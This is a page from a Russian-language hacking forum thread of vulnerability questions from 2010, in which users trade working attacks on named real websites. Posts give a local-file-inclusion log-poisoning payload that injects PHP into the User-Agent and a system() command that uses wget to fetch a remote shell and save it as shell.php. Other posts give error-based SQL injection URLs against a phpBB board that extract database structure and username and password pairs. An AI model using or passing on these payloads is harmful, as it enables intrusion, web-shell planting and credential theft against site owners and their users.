ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1141 из 1393 « Первая < 141641104110911131 1137 1138 1139 1140 1141 1142 1143 1144 1145 115111911241 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #11401  
Старый 31.01.2010, 00:38
Аватар для 547
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию
Цитата:
Сообщение от Tigger  
1. Да, может.
2. Вызываемые ресурсы могут быть ограничены.
3. Может у тебя не LFI, не в тот лог пишешь, какая-то фильтрация.
4. Вообще как бы скрипт выполняется при загрузке сразу же! Т.е. если знать сразу пути и права, то выполнив system(cd /home/777; wget http://shellsite.com/shell.txt -O shell.php); то можно не ждать конца загрузки логов.
там я смотрю в логах меня даже и нету,это при всем том што сам код я уже впихнул темболее в юзер-агент, он обязан там был засветится... хммм странно может и правда ограничения какието по выводу например содержимого лога? там только я видел за 2006 год и все...
вот вырезка с верхушки лога:

.145.194.221 - - [17/Oct/2006:20:33:55 +0300] "GET /subjects/63/svit-vit-kult/L_3.htm HTTP/1.1" 404 313 "http://www.google.com/search?q=%D1%80%D0%B5%D0%BD%D0%B5%D1%81%D0%B0%D0%B D%D1%81%D0%BD%D0%B8%D0%B9+%D0%BD%D0%B5%D0%BE%D0%BF %D0%BB%D0%B0%D1%82%D0%BE%D0%BD%D1%96%D0%B7%D0%BC&b tnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&hl=ru" "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.0.7) Gecko/20061010 Epiphany/2.16 Firefox/1.5.0.7" 74.6.72.174 - - [17/Oct/2006:20:34:13 +0300] "GET /labrary/Temat_rozpod_vir_lib/S01-04/library$/Fisiol_%F0%EE%F1/directory.djvu HTTP/1.0" 404 350 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us
а делаю я так:
через тампер дату в юзер агент пишу
<?php include('http://site.ru/shell.txt'); ?>
затем сразу обращаюсь к логу
http://www.site.ua/php1/index.php?page=../../../../../../var/log/httpd-access.log
 
Ответить с цитированием

  #11402  
Старый 31.01.2010, 00:43
Аватар для MastaBass1
MastaBass1
Новичок
Регистрация: 25.12.2009
Сообщений: 16
Провел на форуме:
97465

Репутация: 0
По умолчанию
Как из этих кусков логины и пароли вынести?

http://www.ollis.ru/index.php?id=cabinet')+order+by+7%23&type=cabinet& action=lost_pw&mode=return_from_hidden


http://www.ollis.ru/index.php?id=cabinet')+and+(1,2)=(Select*From(Sele ct+Name_Const(version(),1),Name_Const(version(),1) )a)%23&type=cabinet&action=lost_pw&mode=return_fro m_hidden
 
Ответить с цитированием

  #11403  
Старый 31.01.2010, 00:44
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
Цитата:
Сообщение от MastaBass1  
И напоследок,как вытащить логины да пароли?)Ради чего и задавал вопрос.Самому не получается.
Определять название БД, колонки. Выводить их оттуда. Об этом есть немало статтей.
 
Ответить с цитированием

  #11404  
Старый 31.01.2010, 13:00
Аватар для YuNi|[c
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
Цитата:
пххп://bb.focus.de/focus/viewtopic.php?highlight=&t=102681/**/and/**/1=0+--
скул есть это уж точно и поле тоже тока 1, но может я что то не догнал, больше никак не могу раскрутит.
Можеть посоветуете с методами
 
Ответить с цитированием

  #11405  
Старый 31.01.2010, 13:52
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
Цитата:
Сообщение от YuNi|[c  
скул есть это уж точно и поле тоже тока 1, но может я что то не догнал, больше никак не могу раскрутит.
Можеть посоветуете с методами
Это PostgreSQL
http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((SELE CT+version()||chr(58)||current_user||chr(58)||curr ent_database())+as+int)--
 
Ответить с цитированием

  #11406  
Старый 31.01.2010, 16:07
Аватар для YuNi|[c
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
Цитата:
Сообщение от jokester  
Это PostgreSQL
http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((SELE CT+version()||chr(58)||current_user||chr(58)||curr ent_database())+as+int)--
таблицы норм выводится через limit offset но на колонки ругается
пххп://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((SELE CT+column_name+from+information_schema.columns+whe re+table_name=chr(39)||pg_user||chr(39)+limit+1+of fset+0)+as+int)--
 
Ответить с цитированием

  #11407  
Старый 31.01.2010, 16:12
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию
имя таблицы лучше писать в сhr(), а не просто кавычки чарить, по аналогии с MySql, а у тебя гибрид какой-то конгениальный)
 
Ответить с цитированием

  #11408  
Старый 31.01.2010, 16:59
Аватар для YuNi|[c
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
Цитата:
Сообщение от Pashkela  
имя таблицы лучше писать в сhr(), а не просто кавычки чарить, по аналогии с MySql, а у тебя гибрид какой-то конгениальный)
сначала проверил и имя таблицы в char но ничего не вышло тот же яйцо , но с боку
 
Ответить с цитированием

  #11409  
Старый 31.01.2010, 17:09
Аватар для ElteRUS
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
YuNi|[c,

http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((sele ct+table_name||chr(47)||column_name+from+informati on_schema.columns+where+column_name+like+chr(37)|| chr(109)||chr(97)||chr(105)||chr(108)||chr(37)+lim it+1+offset+6)+as+int)


http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((sele ct+username||chr(47)||user_password+from+phpbb_use rs2+limit+1+offset+1)+as+int)
 
Ответить с цитированием

  #11410  
Старый 31.01.2010, 18:26
Аватар для YuNi|[c
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476

Репутация: 66
По умолчанию
Цитата:
Сообщение от ElteRUS  
YuNi|[c,

http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((sele ct+table_name||chr(47)||column_name+from+informati on_schema.columns+where+column_name+like+chr(37)|| chr(109)||chr(97)||chr(105)||chr(108)||chr(37)+lim it+1+offset+6)+as+int)


http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((sele ct+username||chr(47)||user_password+from+phpbb_use rs2+limit+1+offset+1)+as+int)
спс но всетаки я немного не понял запрос.

если например мне надо найти колонки с таблицы usage_privileges

http://bb.focus.de/focus/viewtopic.php?highlight=&t=102681+and+1=cast((SELE CT+table_name+from+information_schema.tables+limit +1+offset+3)+as+int)--
так какой будеть запрос?
 
Ответить с цитированием
Ответ
Страница 1141 из 1393 « Первая < 141641104110911131 1137 1138 1139 1140 1141 1142 1143 1144 1145 115111911241 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ